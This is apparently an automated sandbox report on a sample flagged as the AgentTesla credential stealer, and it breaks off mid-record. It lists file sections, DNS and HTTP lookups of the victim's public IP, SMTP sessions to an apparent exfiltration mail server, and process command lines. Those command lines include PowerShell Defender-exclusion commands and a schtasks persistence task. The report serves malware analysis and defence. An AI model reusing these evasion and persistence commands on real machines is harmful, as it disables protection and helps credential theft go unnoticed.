add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc5640	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc6000	0x5e4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xc36a0	0xc3800	0ed456ec836a77bd494af58f7b5f9ad0	False	0.9754460717710998	data	7.980247279079844	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc6000	0x5e4	0x600	86745acbdbf4dd047051aae284ea8c67	False	0.44140625	data	4.222471943798449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc8000	0xc	0x200	6b0c7e10a0739222057c558105548cf1	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xc60a0	0x390	data			0.42105263157894735
RT_MANIFEST	0xc6430	0x1b4	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (433), with no line terminators			0.5642201834862385

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2024 03:23:05.754776001 CEST	49730	443	192.168.2.4	104.26.13.205
Apr 20, 2024 03:23:05.754832029 CEST	443	49730	104.26.13.205	192.168.2.4
Apr 20, 2024 03:23:05.754930973 CEST	49730	443	192.168.2.4	104.26.13.205
Apr 20, 2024 03:23:05.770539045 CEST	49730	443	192.168.2.4	104.26.13.205
Apr 20, 2024 03:23:05.770576954 CEST	443	49730	104.26.13.205	192.168.2.4
Apr 20, 2024 03:23:06.000082016 CEST	443	49730	104.26.13.205	192.168.2.4
Apr 20, 2024 03:23:06.000174046 CEST	49730	443	192.168.2.4	104.26.13.205
Apr 20, 2024 03:23:06.005079031 CEST	49730	443	192.168.2.4	104.26.13.205
Apr 20, 2024 03:23:06.005093098 CEST	443	49730	104.26.13.205	192.168.2.4
Apr 20, 2024 03:23:06.005584955 CEST	443	49730	104.26.13.205	192.168.2.4
Apr 20, 2024 03:23:06.054938078 CEST	49730	443	192.168.2.4	104.26.13.205
Apr 20, 2024 03:23:06.100326061 CEST	49730	443	192.168.2.4	104.26.13.205
Apr 20, 2024 03:23:06.148152113 CEST	443	49730	104.26.13.205	192.168.2.4
Apr 20, 2024 03:23:06.320728064 CEST	443	49730	104.26.13.205	192.168.2.4
Apr 20, 2024 03:23:06.320872068 CEST	443	49730	104.26.13.205	192.168.2.4
Apr 20, 2024 03:23:06.321033955 CEST	49730	443	192.168.2.4	104.26.13.205
Apr 20, 2024 03:23:06.326069117 CEST	49730	443	192.168.2.4	104.26.13.205
Apr 20, 2024 03:23:06.439945936 CEST	49731	80	192.168.2.4	208.95.112.1
Apr 20, 2024 03:23:06.557310104 CEST	80	49731	208.95.112.1	192.168.2.4
Apr 20, 2024 03:23:06.559519053 CEST	49731	80	192.168.2.4	208.95.112.1
Apr 20, 2024 03:23:06.559519053 CEST	49731	80	192.168.2.4	208.95.112.1
Apr 20, 2024 03:23:06.678459883 CEST	80	49731	208.95.112.1	192.168.2.4
Apr 20, 2024 03:23:06.726528883 CEST	49731	80	192.168.2.4	208.95.112.1
Apr 20, 2024 03:23:07.411034107 CEST	49731	80	192.168.2.4	208.95.112.1
Apr 20, 2024 03:23:07.528862000 CEST	80	49731	208.95.112.1	192.168.2.4
Apr 20, 2024 03:23:07.529081106 CEST	49731	80	192.168.2.4	208.95.112.1
Apr 20, 2024 03:23:08.737323046 CEST	49732	443	192.168.2.4	104.26.13.205
Apr 20, 2024 03:23:08.737404108 CEST	443	49732	104.26.13.205	192.168.2.4
Apr 20, 2024 03:23:08.737546921 CEST	49732	443	192.168.2.4	104.26.13.205
Apr 20, 2024 03:23:08.743247032 CEST	49732	443	192.168.2.4	104.26.13.205
Apr 20, 2024 03:23:08.743320942 CEST	443	49732	104.26.13.205	192.168.2.4
Apr 20, 2024 03:23:08.791380882 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:08.967103004 CEST	443	49732	104.26.13.205	192.168.2.4
Apr 20, 2024 03:23:08.967303038 CEST	49732	443	192.168.2.4	104.26.13.205
Apr 20, 2024 03:23:08.968637943 CEST	49732	443	192.168.2.4	104.26.13.205
Apr 20, 2024 03:23:08.968688011 CEST	443	49732	104.26.13.205	192.168.2.4
Apr 20, 2024 03:23:08.969191074 CEST	443	49732	104.26.13.205	192.168.2.4
Apr 20, 2024 03:23:09.019658089 CEST	49732	443	192.168.2.4	104.26.13.205
Apr 20, 2024 03:23:09.060127974 CEST	443	49732	104.26.13.205	192.168.2.4
Apr 20, 2024 03:23:09.136534929 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:09.136821985 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:09.273438931 CEST	443	49732	104.26.13.205	192.168.2.4
Apr 20, 2024 03:23:09.273578882 CEST	443	49732	104.26.13.205	192.168.2.4
Apr 20, 2024 03:23:09.273674965 CEST	49732	443	192.168.2.4	104.26.13.205
Apr 20, 2024 03:23:09.276868105 CEST	49732	443	192.168.2.4	104.26.13.205
Apr 20, 2024 03:23:09.280591011 CEST	49734	80	192.168.2.4	208.95.112.1
Apr 20, 2024 03:23:09.396502972 CEST	80	49734	208.95.112.1	192.168.2.4
Apr 20, 2024 03:23:09.396634102 CEST	49734	80	192.168.2.4	208.95.112.1
Apr 20, 2024 03:23:09.396787882 CEST	49734	80	192.168.2.4	208.95.112.1
Apr 20, 2024 03:23:09.514276028 CEST	80	49734	208.95.112.1	192.168.2.4
Apr 20, 2024 03:23:09.601515055 CEST	49734	80	192.168.2.4	208.95.112.1
Apr 20, 2024 03:23:09.649790049 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:09.651097059 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:09.989636898 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:09.989929914 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:10.040205956 CEST	49734	80	192.168.2.4	208.95.112.1
Apr 20, 2024 03:23:10.040782928 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:10.156312943 CEST	80	49734	208.95.112.1	192.168.2.4
Apr 20, 2024 03:23:10.156465054 CEST	49734	80	192.168.2.4	208.95.112.1
Apr 20, 2024 03:23:10.327007055 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:10.327727079 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:10.376564026 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:10.376686096 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:10.672806025 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:10.672868013 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:10.672909975 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:10.672945023 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:10.673070908 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:10.673072100 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:10.675714970 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:10.703309059 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:10.812997103 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:10.813297987 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:11.038873911 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:11.042176008 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:11.148725986 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:11.152409077 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:11.377228975 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:11.378456116 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:11.491254091 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:11.491903067 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:11.715867996 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:11.716183901 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:11.836982012 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:11.837030888 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:11.837068081 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:11.837105989 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:11.837250948 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:11.837250948 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:11.839930058 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:11.841680050 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:12.090665102 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:12.177859068 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:12.183003902 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:12.522118092 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:12.522633076 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:12.859149933 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:12.859663010 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:13.234565020 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:18.052812099 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:18.101494074 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:18.225703001 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:18.560641050 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:18.560806990 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:18.601397991 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:18.748140097 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:19.122492075 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:19.164119005 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:19.196451902 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:19.210788965 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:19.230185986 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:19.234311104 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:19.566103935 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:19.566153049 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:19.567043066 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:19.567043066 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:19.567043066 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:19.567137003 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:19.572669029 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:19.572814941 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:19.573015928 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:19.902066946 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:19.902182102 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:19.902215004 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:19.902251005 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:19.925328970 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:19.947670937 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:19.976619959 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:19.991643906 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:19.992214918 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:20.327641964 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:20.327699900 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:20.328552008 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:20.328552008 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:20.328552008 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:20.328552961 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:23:20.664006948 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:20.664042950 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:20.664061069 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:20.664077044 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:20.684187889 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:23:20.726494074 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:24:47.429822922 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:24:47.764729023 CEST	587	49733	125.212.217.248	192.168.2.4
Apr 20, 2024 03:24:47.765175104 CEST	49733	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:24:50.070703983 CEST	49735	587	192.168.2.4	125.212.217.248
Apr 20, 2024 03:24:50.406224012 CEST	587	49735	125.212.217.248	192.168.2.4
Apr 20, 2024 03:24:50.406686068 CEST	49735	587	192.168.2.4	125.212.217.248

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2024 03:23:05.641803026 CEST	62464	53	192.168.2.4	1.1.1.1
Apr 20, 2024 03:23:05.746778011 CEST	53	62464	1.1.1.1	192.168.2.4
Apr 20, 2024 03:23:06.333129883 CEST	50674	53	192.168.2.4	1.1.1.1
Apr 20, 2024 03:23:06.438723087 CEST	53	50674	1.1.1.1	192.168.2.4
Apr 20, 2024 03:23:07.411870003 CEST	65211	53	192.168.2.4	1.1.1.1
Apr 20, 2024 03:23:08.414100885 CEST	65211	53	192.168.2.4	1.1.1.1
Apr 20, 2024 03:23:08.790410042 CEST	53	65211	1.1.1.1	192.168.2.4
Apr 20, 2024 03:23:08.790455103 CEST	53	65211	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 20, 2024 03:23:05.641803026 CEST	192.168.2.4	1.1.1.1	0xcc9e	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Apr 20, 2024 03:23:06.333129883 CEST	192.168.2.4	1.1.1.1	0x6aa4	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Apr 20, 2024 03:23:07.411870003 CEST	192.168.2.4	1.1.1.1	0xe3b	Standard query (0)	mail.hoangtruongphat.com	A (IP address)	IN (0x0001)	false
Apr 20, 2024 03:23:08.414100885 CEST	192.168.2.4	1.1.1.1	0xe3b	Standard query (0)	mail.hoangtruongphat.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 20, 2024 03:23:05.746778011 CEST	1.1.1.1	192.168.2.4	0xcc9e	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Apr 20, 2024 03:23:05.746778011 CEST	1.1.1.1	192.168.2.4	0xcc9e	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Apr 20, 2024 03:23:05.746778011 CEST	1.1.1.1	192.168.2.4	0xcc9e	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Apr 20, 2024 03:23:06.438723087 CEST	1.1.1.1	192.168.2.4	0x6aa4	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Apr 20, 2024 03:23:08.790410042 CEST	1.1.1.1	192.168.2.4	0xe3b	No error (0)	mail.hoangtruongphat.com	125.212.217.248	A (IP address)	IN (0x0001)	false
Apr 20, 2024 03:23:08.790455103 CEST	1.1.1.1	192.168.2.4	0xe3b	No error (0)	mail.hoangtruongphat.com	125.212.217.248	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	208.95.112.1	80	7420	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 03:23:06.559519053 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Apr 20, 2024 03:23:06.678459883 CEST	174	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 01:23:06 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	208.95.112.1	80	7780	C:\Users\user\AppData\Roaming\PUwpftrjIH.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 03:23:09.396787882 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Apr 20, 2024 03:23:09.514276028 CEST	174	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 01:23:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 57 X-Rl: 43 Data Raw: 74 72 75 65 0a Data Ascii: true

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.26.13.205	443	7420	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 01:23:06 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-20 01:23:06 UTC	211	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 01:23:06 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 877153bbac6b12ed-ATL
2024-04-20 01:23:06 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 35 32 Data Ascii: 81.181.57.52

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	104.26.13.205	443	7780	C:\Users\user\AppData\Roaming\PUwpftrjIH.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 01:23:09 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-20 01:23:09 UTC	211	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 01:23:09 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 877153ce48c044df-ATL
2024-04-20 01:23:09 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 35 32 Data Ascii: 81.181.57.52

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Apr 20, 2024 03:23:09.649790049 CEST	587	49733	125.212.217.248	192.168.2.4	220-e.vinahost.vn ESMTP Exim 4.96.2 #2 Sat, 20 Apr 2024 08:22:48 +0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 20, 2024 03:23:09.651097059 CEST	49733	587	192.168.2.4	125.212.217.248	EHLO 724536
Apr 20, 2024 03:23:09.989636898 CEST	587	49733	125.212.217.248	192.168.2.4	250-e.vinahost.vn Hello 724536 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 20, 2024 03:23:09.989929914 CEST	49733	587	192.168.2.4	125.212.217.248	STARTTLS
Apr 20, 2024 03:23:10.327007055 CEST	587	49733	125.212.217.248	192.168.2.4	220 TLS go ahead
Apr 20, 2024 03:23:10.812997103 CEST	587	49735	125.212.217.248	192.168.2.4	220-e.vinahost.vn ESMTP Exim 4.96.2 #2 Sat, 20 Apr 2024 08:22:49 +0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 20, 2024 03:23:10.813297987 CEST	49735	587	192.168.2.4	125.212.217.248	EHLO 724536
Apr 20, 2024 03:23:11.148725986 CEST	587	49735	125.212.217.248	192.168.2.4	250-e.vinahost.vn Hello 724536 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 20, 2024 03:23:11.152409077 CEST	49735	587	192.168.2.4	125.212.217.248	STARTTLS
Apr 20, 2024 03:23:11.491254091 CEST	587	49735	125.212.217.248	192.168.2.4	220 TLS go ahead

Target ID:	0
Start time:	03:23:02
Start date:	20/04/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe"
Imagebase:	0x7ff7699e0000
File size:	803'328 bytes
MD5 hash:	906CB4D1D82674CA8E0C0614D34AF552
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1727481234.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1727481234.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:23:03
Start date:	20/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe"
Imagebase:	0xe90000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:23:03
Start date:	20/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:23:03
Start date:	20/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PUwpftrjIH.exe"
Imagebase:	0xe90000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:23:03
Start date:	20/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:23:03
Start date:	20/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp32DE.tmp"
Imagebase:	0x860000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:23:03
Start date:	20/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:23:04
Start date:	20/04/2024
